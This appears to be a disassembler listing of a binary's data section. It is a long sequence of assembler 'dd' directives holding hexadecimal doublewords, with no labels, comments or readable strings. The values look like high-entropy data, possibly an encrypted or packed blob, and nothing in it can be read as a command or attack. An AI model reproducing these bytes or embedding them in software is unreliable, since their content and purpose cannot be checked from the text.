		dd 5585443h, 0EDEBC35h,	0D63FBD4h, 0E9EFA8C5h, 28AC5016h
		dd 736B461h, 33C4ED80h,	0F5B14EC5h, 6EEBC10Eh, 0A67A9A62h
		dd 309689D8h, 0EFE137BAh, 952CC780h, 0A73E3B59h, 0ED78C84h
		dd 9A2890F6h, 370B2E41h, 2899C995h, 74CF2C68h, 922FBF26h
		dd 16558CEh, 0B85038F9h, 0F4C80850h, 0A5586A10h, 3DDC19D5h
		dd 0F8DDD8ADh, 0FB4BA191h, 88ED8989h, 50C60975h, 52681369h
		dd 3B4B8C6Ah, 50D2702h,	7D0756E9h, 0C2014D99h, 0E912F5C6h
		dd 90330F85h, 0B6778668h, 77095061h, 57191C64h,	0AF698481h
		dd 404E9034h, 6816508Dh, 4CF27C7Ah, 6E3C588Bh, 7BD1A12Bh
		dd 68C35526h, 54538569h, 737F8200h, 1BE3FBAh, 2B70B94h
		dd 51A641E9h, 681A3AC8h, 6F6AC166h, 842A26B1h, 6640EBC1h
		dd 9F4C77C6h, 0B50CD684h, 0D81FA810h, 0C805A6A8h, 38EA3B05h
		dd 0E884F029h, 48E90804h, 0DEBB5DD4h, 92E91741h, 89573D42h
		dd 744342DFh, 0F2581397h, 6A6882C6h, 0E95FA15Eh, 6781F721h
		dd 8B5A71C1h, 68A73457h, 3295E672h, 0ED274015h,	266FC3Ah
		dd 56CD814Dh, 94508A4Ah, 0E71D309h, 2E24004Ch, 9F73E04Fh
		dd 6259BE68h, 0BA7E727h, 4BE351FCh, 0E3E10F04h,	0B55C1B39h
		dd 498EF09Bh, 11ECE199h
		dd 2F5B9727h, 568BFA48h, 25546C44h, 823239C4h, 508AB055h
		dd 42308B2Eh, 0BE33FC56h, 81E91671h, 2562ED1Bh,	0BF11E48Ch
		dd 0D361FB9Eh, 0F0E99C64h, 5F3027E7h, 189D8CF8h, 0B8CABE0Fh
		dd 0E91813A4h, 3D98A1A0h, 421988B1h, 85D48BCCh,	0E3EEEE6Dh
		dd 7E165886h, 1ECE2577h, 50DA22BBh, 0B080F0h, 9269523Bh
		dd 9EE5903h, 30DBD050h,	84EC942Dh, 28554C26h, 0CAF69715h
		dd 44260974h, 875F1712h, 2DF3490Ah, 0C51F05F2h,	0C2955DDEh
		dd 5360FD07h, 33092F88h, 0A775E973h, 0DB625FD8h, 3F56593Bh
		dd 0FEEB5734h, 1C9CD904h, 8A611722h, 665C0193h,	0DCCE9821h
		dd 0D2E19530h, 842892Ch, 290CA295h, 511566FEh, 712D1CB9h
		dd 0BA99BD15h, 2A5459C9h, 578B1342h, 0BC6A0199h, 37BD4B2Dh
		dd 0B0D44A9Fh, 445A69CEh, 0CCAC6F27h, 609FA290h, 0BFB9312Fh
		dd 109A44Fh, 951B2F3h, 0A4CDFEC3h, 0D9FA2711h, 1E3462B4h
		dd 7BE85EFFh, 584A2A58h, 0F1688C9Bh, 84F94F49h,	2C039443h
		dd 53885A23h, 970BB551h, 706EDC0h, 0E533D37Bh, 0C20C28A4h
		dd 0ECBA52D3h, 6D5A0809h, 8D4F5B02h, 0D1BE4104h, 22C6C238h
		dd 10188964h, 808A6963h, 0F84F895Dh, 0C86A4AE5h, 0E2048125h
		dd 563046A7h, 7DD1C3C7h, 0E22F58EFh, 86244F12h,	2AB8AA17h
		dd 0FA8BEBD0h, 0A0113A2Ah, 6E2C453Dh, 92E22298h, 0EC609D80h
		dd 3E723F05h, 0D801710Ah, 3C3E072Dh, 0F55EBC7Ah, 0A5779909h
		dd 93C2DC32h, 16EDF754h, 0C2995FFDh, 552FD342h,	0B953518Bh
		dd 7440E10Bh, 271B4231h, 0F7A82D5h, 6C45DBDh, 97B5EE20h
		dd 2AEC27F3h, 0BD2D80EFh, 0D5C5670h, 0AEF9143Dh, 3E187D3h
		dd 6C2D4792h, 41A1B08Fh, 0A7043FCCh, 2EE8D16Ch,	2FBBC89Fh
		dd 0BC88510Fh, 1874C85h, 1FD51E04h, 83C193BCh, 0F46F2D09h
		dd 0F8AAE6E8h, 0B0548042h, 73C75E25h, 742034B4h, 9942DFE9h
		dd 85668910h, 43254078h, 0A449FB89h, 7468884h, 0B7044D12h
		dd 217F61Eh, 7B706862h,	9F27864Ch, 6979C615h, 3A81B527h
		dd 6E1C5BC6h, 44CC2AC0h, 0C1B600Ch, 0C894453Eh,	7FE1214Ch
		dd 178F200h, 0D6E9284Eh, 4A37B9FEh, 3AB20311h, 0C0E51E15h
		dd 293961EBh, 1690527Dh, 80736309h, 0C0AAC370h,	5B5ECAD4h
		dd 0D565F5EDh, 0CA2A7833h, 0B6A5D01Ch, 72E91662h, 598E312Bh
		dd 56C33041h, 76827E00h, 1A3B5735h, 4215E36h, 0F2C7F285h
		dd 1D2778B6h, 42D671A5h, 84126857h, 3CBF3FF8h, 0C941B623h
		dd 0FD69C27Fh, 0D642DE59h, 0C054EAA1h, 2D07E26Bh, 0C5045F7h
		dd 0BC8EE4Ah, 1DE861C6h, 6E43C0E9h, 4A2B4A88h, 467BCDAAh
		dd 7402E621h, 0C12F7753h, 0F87940E0h, 0A5DDDDF9h, 31C23E54h
		dd 17E9CDE0h, 4757B0D7h, 0D9095790h, 8097C28Bh,	0A8161A82h
		dd 0B0F8900Ch, 5F088044h, 43FF2F68h, 5063E8D3h,	80216213h
		dd 455D3E06h, 96322558h, 25590C5Eh, 0B62B0225h,	7BE9C56Dh
		dd 0EB620A0h, 28212CF0h, 95FFA9Fh, 2458681Fh, 6B6FC896h
		dd 0BB8A40A9h, 1D0A0A9Dh, 0D05012h, 7A319CFh, 8C4C14E9h
		dd 0EB808217h, 2B9F68Eh, 2FCD68B3h, 0F820564Ch,	0DB807D3h
		dd 4047EE39h, 0E546849h, 26D0538h, 55E92074h, 0F8245D21h
		dd 0F03D899Eh, 6E973C16h, 0E991BDF0h, 8E8A4D3h,	2FE03B1Eh
		dd 6E65FB29h, 3AE96804h, 203ADABBh, 38681583h, 614A1314h
		dd 6F5559CAh, 0A1652A14h, 7AF4332Ch, 681AC2D8h,	53591EBBh
		dd 0E575D64Bh, 0FADFD5D6h, 81D7BF00h, 0FA62F2E7h, 6C60B576h
		dd 35506731h, 0C27A7CEFh, 1AE16E4Ah, 0D76662F2h, 7E524311h
		dd 0E35A64CEh, 0BE5317FEh, 5D511CB7h, 0F2DB67FCh, 6DCD4829h
		dd 3C3B0841h, 0E026E986h, 3F4091A1h, 338236Bh, 18C62D5Ah
		dd 0AEAD7E02h, 0C8290244h, 1D02CC2h, 6E424368h,	0A43CE431h
		dd 7B1EA104h, 16C32094h, 0F07DF9EAh, 9B7D472Eh,	403BF568h
		dd 0FE2BB71Fh, 0DF3AF6C7h, 0E9560680h, 0F26B984Eh, 0CFECBD5Fh
		dd 9ECB5820h, 90A65811h, 9D697E82h, 0B1B026B5h,	3A2B9898h
		dd 138E8C44h, 8092B300h, 283E2FC3h, 0CAAF1ADCh,	57D00443h
		dd 6FAE42C0h, 2D1C7FCEh, 620E8BFh, 4C6312B4h, 66FC015Eh
		dd 4F854931h, 40EA3918h, 7F75BCADh, 14986A5Eh, 0AB4A860Ch
		dd 835E5109h, 0F0250573h, 0F07C2C76h, 10679E8h,	0FE5FEE32h
		dd 3A3497E9h, 0B35D442h, 0E2324070h, 3BE8F8B7h,	0CA8E4218h
		dd 7C0C0965h, 77279A0Ch, 2737788Bh, 7FE27532h, 0BD096B56h
		dd 97087B2Ah, 0F3B62110h, 903F2896h, 40810285h,	5D295ECFh
		dd 0F67F8EE4h, 0B320DAB1h, 38701705h, 45FE5B3Ch, 0CD269576h
		dd 4E7D78AAh, 4AA4BDB8h, 83FD287h, 5E16E09Eh, 0A2818209h
		dd 61B5B3FCh, 6893955h,	61503096h, 4EC28749h, 0B22A97B1h
		dd 55A65890h, 63CD6FE2h, 748FE430h, 0E9791744h,	1F10AD30h
		dd 734F93EFh, 239069F1h, 12E78877h, 47EE2DE8h, 34F03126h
		dd 32B845Eh, 738D0284h,	0F6401E3h, 3E366C18h, 8084D020h
		dd 5E5C1FDCh, 1D3301A7h, 0B80CBF44h, 0E8180B0Ch, 3371A44Dh
		dd 0F168BCD1h, 7B55BB00h, 1E8EF0Bh, 2791C6D9h, 337CCE31h
		dd 0D862555Ah, 3E894674h, 79C77B4h, 548B0B93h, 4A88E6A5h
		dd 0A8BBF855h, 8672B15Ch, 4D444A68h, 0F7D4F3F6h, 62FE89BCh
		dd 8DE45FA7h, 0A0E86C4Bh, 0E8966CD0h, 0EEE4B38Eh, 6C050040h
		dd 29217A5Eh, 7A32DF8h,	9F0170E7h, 6C9F5379h, 4939008Fh
		dd 22BB6A2Fh, 9704A5BEh, 0D15AD301h, 4DF323C0h,	66E22510h
		dd 2580FCh, 3E3869C7h, 68D8F515h, 87706E99h, 50169B08h
		dd 0A9947304h, 373FD8EEh, 796A359h, 0E7E5B01Fh,	0ECBE62A2h
		dd 0A56813F6h, 97A36112h, 0B95207D0h, 0D893A083h, 5836BE2Dh
		dd 2C165A7Ch, 8120CD40h, 313AD068h, 0AD2059CAh,	6B422653h
		dd 33C20F03h, 295F6D40h, 962AE9F2h, 0B32AD00Fh,	3B93C30h
		dd 58015B13h, 446A22CCh, 3563320h, 4A63BB53h, 1CF23BA6h
		dd 5E277ED8h, 2F087E5Bh, 66E1CD59h, 0E622BB0Fh,	9038E612h
		dd 0ED6C2E01h, 1FF5134Fh, 11C0806h, 30543217h, 6A09C4E9h
		dd 70C78092h, 7B189573h, 5D80FAE8h, 4C62D83h, 0D0B33D24h
		dd 5892BAECh, 256B4F3Dh, 0BE9CE0CDh, 623526D6h,	0F2A008E5h
		dd 71F13A25h, 3C89AF09h, 31739050h, 0A6F16580h,	23772AFDh
		dd 5EE17EA5h, 0C956134Ch, 619A20B2h, 7D9A1612h,	0C48E1CBAh
		dd 0EE19E948h, 2D68A4D8h, 0E56D0F9Eh, 139B402Fh, 5645240Eh
		dd 0C220E76Ch, 0C6D465B7h, 78F94B2Dh, 0B2AD2659h, 0C68166E2h
		dd 146A4709h, 6BB9D13Ch, 8FC00956h, 957B0C76h, 3A0EFE78h
		dd 0C1093F65h, 8E5317E3h, 77C37530h, 0DA062735h, 625FACC2h
		dd 2650F032h, 443BBEE9h, 0AD97AFC1h, 4FBE926Fh,	0B9701B9h
		dd 0FAA7BCE9h, 4CAE9C7h, 38D305C1h, 9DF24E7Ah, 2A38A3D3h
		dd 0DD8AA05Ah, 35A4DA39h, 0B0960F0h, 3D34124Ah,	5E9023C6h
		dd 0C6A94064h, 3FE21FA4h, 5C6AA39Dh, 48F997E9h,	811C3365h
		dd 17FD7001h, 4F9756BAh, 10E985E8h, 0D3C64EB5h,	0B93DFCE5h
		dd 0A13822D3h, 7968DD2Ah, 302DBB01h, 21432295h,	0E023AFEDh
		dd 5EECE9F8h, 5157C821h, 5625BEA0h, 0F7790209h,	3D854D5h
		dd 0E754C42Eh, 6EEE89E1h, 20683A26h, 125E69Bh, 698F764Ch
		dd 0C245AED6h, 0E830EBD1h, 0B22A343Ah, 7C6882FCh, 3729DD2Bh
		dd 59952950h, 48E9C1CCh, 0D3A13D99h, 585C1D3h, 0F7E7D13Dh
		dd 91CF8DFh, 8973F420h,	49D4D07Fh, 0F94B075Ah, 0D157C901h
		dd 4A923D36h, 1780B3Bh
		dd 17071008h, 0DB27D15Fh, 0F3BA0095h, 3EB90A7Ah, 184EAC1h
		dd 5A0B3BE2h, 83AA206Fh, 4A5AFFF6h, 2766A2A0h, 455A1578h
		dd 1240301Eh, 6F94952h,	32DE0E7Ah, 0F1C04633h, 0ECBAF9Dh
		dd 59D0294Ch, 62584CBBh, 0C8E7E9FDh, 0EFD1041Dh, 0EAFF6E1h
		dd 0AAF6E7CEh, 0D0E58081h, 95E388E0h, 0A11F66D3h, 0BAE22EACh
		dd 62285C1Eh, 76F870E9h, 4E7DB805h, 2BE80769h, 0F93EC15Ah
		dd 52B101E5h, 0EC49A53Ah, 0BD99EEE2h, 62C32DBCh, 0D2D976E9h
		dd 1C326541h, 91392AE9h, 93B90724h, 0D435A450h,	479AC96Ch
		dd 0B0C98564h, 570B1FFh, 0F588C869h, 821C6B8Fh,	9B5E922h
		dd 0FAB73077h, 2E189DA9h, 0CB0B55D8h, 18D5316Dh, 9F5457D6h
		dd 4425E45Bh, 34EE811Fh, 98489BE8h, 0B94148D3h,	79207E07h
		dd 4ED6906Ah, 93B614E9h, 4408E82Ch, 505F09B3h, 0C448CE64h
		dd 0E4F18E7Eh, 8CAAFA9Fh, 6EFD7D40h, 0A88F94CCh, 95D5F6D2h
		dd 0DB03C5BAh, 0EF877CB2h, 0E02C5A00h, 474E828h, 525B5905h
		dd 0BA208BE9h, 7A1118AEh, 0D7D4EA03h, 0C664B083h, 0BA4BCC0Fh
		dd 3A26C577h, 21A230EEh, 9A1258B7h, 20EEEB29h, 7FB252DEh
		dd 0C0D2F606h, 4CD606EAh, 6C8F7EEBh, 866D40D7h,	0F7180B5Fh
		dd 0E8D1D800h, 42255135h, 0CADAC946h, 5A540298h, 0F2773195h
		dd 4F188F2Eh, 4E7C99E6h, 0E99CD158h, 0B5EE6422h, 0EB287B12h
		dd 0C755245h, 139EE4E8h, 0B63040D4h, 0B0F68023h, 6BF9F3E0h
		dd 0D4BABA90h, 48961E75h, 81AC857h, 99C15816h, 0B10089C6h
		dd 0D91EF63Ch, 9C79F180h, 0CA125AEAh, 0D165C21Dh, 939F4FACh
		dd 0CF13AB7Dh, 9B251DA8h, 0B408285Ch, 5C824EFh,	415FEB9h
		dd 17FD20A4h, 0C4E53714h, 0BD01F5EFh, 3F304576h, 0D5902884h
		dd 90296658h, 3C68E894h, 0B3491087h, 2F331062h,	180BA3F9h
		dd 820266F6h, 59937DC0h, 554881C2h, 0CD4C295Bh,	276B8C48h
		dd 56C8120Fh, 81F0B254h, 2D37E951h, 0EDC6BD6Ch,	0EA07E3D0h
		dd 491601CDh, 0FCC4CA34h, 62590809h, 0C4D8546Bh, 615B56Eh
		dd 0C101459Eh, 22C90382h, 0BFB98751h, 117E020h,	33995BDFh
		dd 1502DE43h, 0FF42E99Fh, 18C1A84Fh, 0F039849Eh, 8668125Eh
		dd 0B3A08C58h, 1B083113h, 0E109E812h, 0BA3F204h, 0B96C8EE9h
		dd 3F0907F0h, 8438D47Dh, 0D2CD83F9h, 0A0F012E0h, 12ABC87Eh
		dd 0A889529Fh, 0A8011E8h, 12091E76h, 0CB0C30E3h, 17BDF27h
		dd 0EF13E525h, 0B96CAFA9h, 31E1EA05h, 0B1246C67h, 52590809h
		dd 97E91A3Bh, 965D9688h, 32024EE0h, 3F5A66B8h, 59E3920h
		dd 27685F97h, 0C117F864h, 0EF6E2C42h, 0C30E927Fh, 4B02680Eh
		dd 61EDAE56h, 82A61920h, 429A8C50h, 9D178F80h, 0D64218CCh
		dd 10E120Bh, 3486AD20h,	11942BD5h, 27A1CAAEh, 92EC4557h
		dd 4038D75h, 2075A1D7h,	2D06D0EBh, 3D1B4DB8h, 2205000Eh
		dd 0E9A9B9B0h, 20BD2B4Ah, 4CABF114h, 24757C94h,	8288D56Dh
		dd 0F568C0B6h, 73EAD5EBh, 90D146EBh, 3DB5666Fh,	5FA6125Ah
		dd 7F8C3465h, 0A1DB5847h, 34D758A2h, 6C489DE4h,	1141C7E9h
		dd 0F272F36Ch, 868270Bh, 10154A22h, 909F0DD2h, 325EBB9h
		dd 0E9165C58h, 0E71329F5h, 88CDEA01h, 6475C100h, 2C4148AAh
		dd 85FDE91Ah, 5AE74455h, 1065F266h, 0BF037C69h,	5ED7679h
		dd 0F7F760Bh, 48000258h, 0A45F0590h, 0E04892C5h, 5F04D39Ch
		dd 2DAE2110h, 282C2EA2h, 0BBC9409Fh, 0F64DA5A6h, 0D4065CA1h
		dd 0BAB94B88h, 0F0F7E91Dh, 9DFBBE22h, 812FE603h, 9812E3C7h
		dd 0F0F7290Bh, 5E08A0EFh, 1B609789h, 5512ACC9h,	0D716490Ch
		dd 7457B292h, 4BDF6ED1h, 59D43849h, 2056CCC9h, 5A05A00Fh
		dd 79986855h, 0BBEB30BAh, 1E0C854Eh, 0DB72D58h,	0B15D4E50h
		dd 0E4A20291h, 0BE132771h, 0AA2A52EBh, 5E08EF04h, 312E96F1h
		dd 340AE945h, 0B04B829h, 4033FB30h, 0E8C17780h,	96E91708h
		dd 15E961DEh, 0DE1D2884h, 0F8F1CF56h, 0A5A4AB6Ch, 732A329Ah
		dd 7C1F940h, 874F02EFh,	4CE4B7F7h, 5A7ED563h, 3908ED2Eh
		dd 9288A4Ch, 0C785E9B7h, 38D7F890h, 0B70C6228h,	87DDDD51h
		dd 1F87EA0Ch, 75C90184h, 0DC590802h, 1CD249Dh, 0DA35FD4h
		dd 0B1042A31h, 5D0B2EC8h, 0ED7AF90Bh, 0D87807BFh, 6637CBA2h
		dd 52660011h, 0D024B450h, 80F4FEE4h, 0C66BCC32h, 59DE0BA1h
		dd 0C803052Ch, 0CD011143h, 41F2B288h, 39257FCBh, 4F8144EAh
		dd 6EB12B6h, 4D7AD2EEh,	2568DA13h, 191E0E5Fh, 1DA64565h
		dd 0C29DE001h, 0D1ABDD13h, 0CB0B0ED3h, 62897CE1h, 0C0F2DE3Eh
		dd 7DD6C20Ah, 20D879Ch,	803B4DD1h, 481451E1h, 68580704h
		dd 34EB3F1Dh, 0F0D9FF21h, 1B40DF25h, 95C83112h,	6804A3C5h
		dd 90A85B1Bh, 0EDA69DD8h, 0EAD95581h, 9D502B2Ch, 0C06B0E15h
		dd 0A332405Ch, 23BF00F3h, 0E9455E58h, 0E48E4F91h, 739F523Ch
		dd 542F3D0Fh, 0FF00669Ah, 4DF32209h, 0F70BEC90h, 804F646Eh
		dd 8E331375h, 0EEDFA80Eh, 0CB9A0FBFh, 5E2F31BAh, 0EF83DF63h
		dd 77869904h, 0BA844E9Dh, 0F005EA88h, 2C5A66BAh, 20026DEh
		dd 2919C322h, 5BCDE9C6h, 581ECC16h, 519D0098h, 0AB844956h
		dd 69B01799h, 8664126Ah, 0B412EBFCh, 180549ACh,	5D73D95Bh
		dd 0A7B1A5A0h, 0E9B2587Dh, 2D6A764Dh, 96EF5951h, 9152A060h
		dd 0DC2FBECh, 80535E54h, 657F5A87h, 8698BD25h, 6A3DACB9h
		dd 0F298E1B2h, 0D42AD715h, 3901EBDCh, 11E9DE01h, 97A3C1A0h
		dd 49B0A0F2h, 49259109h, 0B4D7876Fh, 294B96B0h,	828D0CEh
		dd 0E14CD746h, 0EC1D2A00h, 58B5BB3Eh, 310EE116h, 2401E616h
		dd 169F4F1Eh, 95B71370h, 0BB555AC2h, 6DBBF055h,	2864341Ah
		dd 0EE96009Eh, 2F4D1119h, 24658AC1h, 2371250Bh,	0D0088AA0h
		dd 0E909141Ch, 33F723A0h, 0A521F4DFh, 64BD511Eh, 248C6F70h
		dd 0E58013D1h, 0ADCD0869h, 7030A227h, 0C9ADF187h, 7B957FCEh
		dd 2BC408BCh, 0BF00D326h, 13090B4h, 0B557FADFh,	44B74600h
		dd 7300F780h, 2838B050h, 1D0458C7h, 0DD0D2C94h,	0F076BAF8h
		dd 82884B5Bh, 82EA63FFh, 5F0E625Dh, 0A185F245h,	8B013B66h
		dd 0E545A0F6h, 0CE67C70h, 60AE50A8h, 3A0AAC0Ch,	0A4467889h
		dd 98B2F002h, 7DDC61F8h, 1E17982Eh, 63A6594Bh, 138EE908h
		dd 0D1DF0B25h, 5BDA403Bh, 24EC283h, 50F095BDh, 724AE954h
		dd 0C527E5FDh, 0C82540D1h, 82A14F0Ah, 0E4DB0341h, 0C1B53885h
		dd 18C45FA3h, 7D6CED1Bh, 7C5A1603h, 0D39AE90Eh,	0BD2E645Fh
		dd 41FEE7ECh, 1A8CA34Fh, 0F478417Ch, 0AD777ECh,	1F4FB621h
		dd 61F7E22Bh, 59136808h, 9D80C83Eh, 44359745h, 7D72E13Bh
		dd 3644840h, 32D05DDBh,	41F0EBE9h, 43E0DF99h, 0CBDDC0DDh
		dd 690E1531h, 4883DAC1h, 906F2818h, 93B8C836h, 0CB317110h
		dd 0AC25FEB5h, 8E17288h, 157B59D8h, 78511603h, 35639F10h
		dd 0C27325C8h, 0EE100A29h, 46C03166h, 0F6C3E780h, 904D3DFh
		dd 0DF79AB97h, 157DC5A5h, 0B627462Dh, 3B7D6BC2h, 35C0E9D5h
		dd 1FF5902h, 39303487h,	1D1A9020h, 8F2D0B10h, 0D36573F3h
		dd 40AEE826h, 4019DDA6h, 0F38A6A05h, 2BEABF81h,	300CA519h
		dd 12C0C2B5h, 50672503h, 0D4799758h, 493FD9A5h,	0D6BB5E49h
		dd 76F0A40Eh, 971882E9h, 54BF3820h, 5AA85626h, 10EFFE0Bh
		dd 0B5DE785Dh, 0A42FB246h, 0E236A0DDh, 0CE409F4Ah, 0D7076580h
		dd 51FC9B32h, 61377BBDh, 0EB90204Ch, 95421A3Ah,	9B9D3FD0h
		dd 674A3E4Fh, 5387290h,	0D9B0F158h, 24E1A700h, 5FE9742Eh
		dd 0FDA5C5ACh, 55129324h
		dd 0EDE58EECh, 4EE985D7h, 4B6800E0h, 65A386h, 0C38002B3h
		dd 1DD3F6BCh, 54D98851h, 7F2493D1h, 83424F1Eh, 4F426113h
		dd 0E9932F5Ch, 79ADD412h, 91033A13h, 0A5B61A07h, 0C1A0E419h
		dd 88BA66A8h, 82DED24Dh, 0D38D503Ch, 215FC97Dh,	0D6E9D844h
		dd 0C06E92F1h, 0F7A8017Fh, 7520C27Ch, 5F40BDAFh, 1AFA20F3h
		dd 0A7EE9B0h, 0F73BA903h, 0A4E940D0h, 7644E3C9h, 0F22F02B2h
		dd 46790D89h, 112DC44Fh, 6E13FA14h, 0B7A79375h,	0F1FE30A1h
		dd 22F0D15Bh, 0E45F16A0h, 47C538ABh, 592F0EBEh,	6AE9C1CBh
		dd 70357E10h, 8FC0BFFh,	92027D6Ch, 0C13EF050h, 0E52840EDh
		dd 9B692F4Ah, 403B6BD8h, 0CFF04A41h, 0DD2E13ACh, 8605AF2Dh
		dd 55B37AA7h, 0FDE35A16h, 5FFEC5D9h, 935888F5h,	99EB1FFh
		dd 1820755Eh, 0CF11649h, 0C52D5F7Bh, 2D7520B6h,	13F37721h
		dd 0EC1C8B01h, 90FD89B5h, 1E1FE73Ah, 0D3069A4Ch, 0B9A0C20Fh
		dd 0F46D4A5Dh, 169EBCD5h, 2D588AAFh, 0EF591306h, 0BCE9D945h
		dd 0DEB8CC40h, 40BE255h, 0CE8ED2BAh, 97C88235h,	89D9C47Eh
		dd 130AB73Ah, 6085E3E9h, 0E90478FFh, 688D562Dh,	97AF0F50h
		dd 0CF08D851h, 0B2051274h, 0F10C17E8h, 0E76A1D2Dh, 49EE25EBh
		dd 0D7412949h, 0CE04F2AAh, 83B34E9Bh, 46749614h, 450B2128h
		dd 31EE0D8Bh, 18526E01h, 0DB1766B8h, 8316F8E7h,	0DB2E2CD0h
		dd 76AAECC9h, 140B3C19h, 0DC546E56h, 2FDA5893h,	662D19Eh
		dd 245F0B02h, 13BA8669h, 0ADA8A874h, 97D8616Fh,	5F423B90h
		dd 0DF4F604Ah, 0CDE71110h, 105891Dh, 95DB662Dh,	592D7E45h
		dd 0C828C442h, 2697EA06h, 0B3E5EA3h, 35B2327Eh,	0F2812BD4h
		dd 0D2EBE730h, 0EC798D68h, 0E61925BCh, 55A08E63h, 18C01F4Ah
		dd 42D978EFh, 196C27E9h, 50954A4Eh, 226AF3EFh, 36E9E8C8h
		dd 1BE23A66h, 1673AC10h, 42F65F5Bh, 0E440377h, 840AE910h
		dd 0B9EFBF03h, 0DB417305h, 0FC755AC3h, 0FB9C4BB4h, 209B418Eh
		dd 4B1EC68Dh, 0EAC90260h, 1CDBE496h, 1249C580h,	3668AEEBh
		dd 315F9CFAh, 6ACA32E6h, 90566188h, 88BB5BCCh, 0AC9F04DFh
		dd 9F376DFh, 484E2630h,	0A3A00FFh, 9DB1D9CFh, 6E4B5A78h
		dd 520A0Bh, 1B840247h, 0B0D7FC5Ah, 8B71978Dh, 0F4E30B35h
		dd 52C78102h, 83827B3Dh, 80DCDC02h, 490D81B8h, 5DEA89F8h
		dd 0C85E3D6Ch, 4A03FE9Dh, 0DC682758h, 83DF1062h, 0A3E84EA7h
		dd 0DDC1263Fh, 0EA8F8D3h, 4B71A7B7h, 15B84DF5h,	0D308E25Fh
		dd 0A1C1074Bh, 9DE68A7h, 54CB2838h, 0D52A8A05h,	4748434h
		dd 0AA18A9C7h, 522E1E29h, 892CEF08h, 5C68155Eh,	62502E6Eh
		dd 0D766169Bh, 9609FC13h, 2329AB0Fh, 0EAE9FD85h, 431A5E8Ah
		dd 5ADAB866h, 6E0C1C0h,	9C0509CFh, 0E90CFE82h, 1EF750F3h
		dd 13F8315Bh, 51A0F080h, 6E0953B5h, 98E385A5h, 9B419C3Bh
		dd 4CFD2B61h, 9689664h,	50F87BC4h, 0CE306C45h, 0B322009h
		dd 5BD92102h, 38208D8Fh, 0F8E91F61h, 0E9C8B55Bh, 5B682F55h
		dd 0B8050F66h, 6EB01CC0h, 33E993A0h, 0E0FDAC73h, 8CCAA2BAh
		dd 0F6FFC65Fh, 9BB86884h, 0C45F1244h, 0F4558924h, 989F27F9h
		dd 39D02D72h, 0E55080E7h, 0BB4895D9h, 1009EF1h,	0C82111A0h
		dd 0F0463559h, 0E9200954h, 907EC95Bh, 240A2663h, 99E355h
		dd 345B42BEh, 5C098E0Dh, 0E9309ECh, 7D2D6082h, 450B418h
		dd 0DD5B7E35h, 3D80EF61h, 2594436h, 0BBCABF51h,	4975AEA6h
		dd 0DFD23EF2h, 0E5F5A820h, 0AC5DA832h, 0DA493910h, 7F549h
		dd 0C95EE2A9h, 4A6FFC6Eh, 0B8FE70A2h, 390F49D5h, 73DEE931h
		dd 13D640A9h, 50B7706Bh, 72BABAE9h, 96015B25h, 55AF8263h
		dd 6F76EEBAh, 4D11E88h,	127C0668h, 1C58408h, 0CA173EBDh
		dd 5DCE9333h, 39401BAh,	7ECC34B8h, 0D5E905C1h, 62202865h
		dd 0BCD88270h, 90D23D2Dh, 0FC28168h, 0B5E1A80h,	0BCD360C5h
		dd 0D07A89F0h, 90E59C34h, 31BC4B83h, 51871898h,	5B19DEA0h
		dd 400B33F8h, 5E7107E9h, 0B652874Ch, 5AF05282h,	89DD92EAh
		dd 948EBEB4h, 2F348958h, 8846B17Fh, 0ABEC6BC6h,	7E55C1F0h
		dd 0A07410ADh, 0AB007F5Ah, 970CA3Eh, 0E6D160B7h, 9E551274h
		dd 0DDB60113h, 7A7BE91Dh, 0A5F323D0h, 12822C61h, 35470470h
		dd 0EE2681AEh, 0BBAC05B0h, 0F8BE84Ah, 0F69F6A3Dh, 761E9A00h
		dd 4AE96B94h, 0D60F845Fh, 8A0F82A8h, 2F3E6C28h,	1B04F6FAh
		dd 811DED20h, 5E4EABBEh, 0B666202Bh, 0E9E209FEh, 0B09D5327h
		dd 0B7713D4Bh, 4D8906D3h, 564CA092h, 28258068h,	55FE3D07h
		dd 0E22CF9C1h, 0D5037CC7h, 0E8D41Ch, 4BCDE586h,	919065C6h
		dd 0AB125A0Bh, 3225012Dh, 803AD6EFh, 1025CD6Dh,	51AC6748h
		dd 4080495h, 0BADA5C8Ch, 4B7D22CBh, 0F79D005Ah,	118A68E1h
		dd 2F3C9BBBh, 3CC769CBh, 696C540h, 5F0F7E56h, 0B4A412D8h
		dd 0E3E88089h, 0C9D0683Ch, 22FD1284h, 46074DF9h, 3F150E29h
		dd 9C5F5D89h, 0B9510692h, 28CA439Bh, 0D8E64B90h, 20A0551h
		dd 0F6FC26DBh, 2EB73063h, 1052D1BFh, 0F65727E5h, 0D6DDEFD1h
		dd 78D3F2B0h, 2EC0624Bh, 3D27A935h, 3174671h, 126BB60Fh
		dd 6EA7180Eh, 294BFE4Dh, 0C5656D61h, 0E2F096E9h, 0F2E8BF05h
		dd 95B230FFh, 76255EB9h, 107C7279h, 5EC8E970h, 51DE73ECh
		dd 626A67E2h, 1FBE2851h, 58895FB5h, 107647EDh, 0D0E4A5EBh
		dd 9FC1BAD4h, 0DD5A7B79h, 50098794h, 567EF668h,	0E8E958B5h
		dd 0BE1C1494h, 64894B1Dh, 0CEF90F46h, 0C114C19h, 2C0B17D0h
		dd 0C6E6A00Ah, 0B542AC04h, 9BC7894Bh, 2F3C997h,	0A8689094h
		dd 6161966Fh, 705BCDD3h, 8240EC09h, 5E4D775Fh, 0EEE284FEh
		dd 0B03D516Dh, 0F016F5Dh, 293DAF1Eh, 5EE99AF3h,	0BFF361E5h
		dd 4F685700h, 21F2DE2h,	0F639095Fh, 27474009h, 0D5227518h
		dd 3C561512h, 0B5EE8358h, 0AE5C2424h, 971B853Ch, 759A5BE4h
		dd 0ED4CD80Bh, 8E825745h, 0F060DAF7h, 0D3755B78h, 350F0D00h
		dd 642D5A1Ch, 6B833C22h, 800E441Eh, 1F2C0507h, 0D0003C0h
		dd 11414EFDh, 19635B2Dh, 5309CF93h, 0D68D40D2h,	3E4FB44Fh
		dd 0E80B3BC2h, 4ACBA30h, 520AF823h, 5785EE5Fh, 18A385A0h
		dd 0C4AE236h, 0C0572F2h, 7177E974h, 0B7B8EECCh,	428F63A8h
		dd 99E6E869h, 1B44084Eh, 50146D70h, 53784996h, 568531F5h
		dd 8476AB4Bh, 484FE92Fh, 257BCDBAh, 1F86811h, 173D2F05h
		dd 0D085897Ch, 0FC5AFCE8h, 607650F4h, 0BB552E39h, 0ED517829h
		dd 0B1817B08h, 99051FDAh, 0ADAF40C7h, 40691662h, 0B16900AAh
		dd 9F073E73h, 4105D603h, 526080ACh, 2B08F966h, 26131FE9h
		dd 27EB016Dh, 0F05C4B14h, 6995BCE4h, 8D384073h,	0EB215B12h
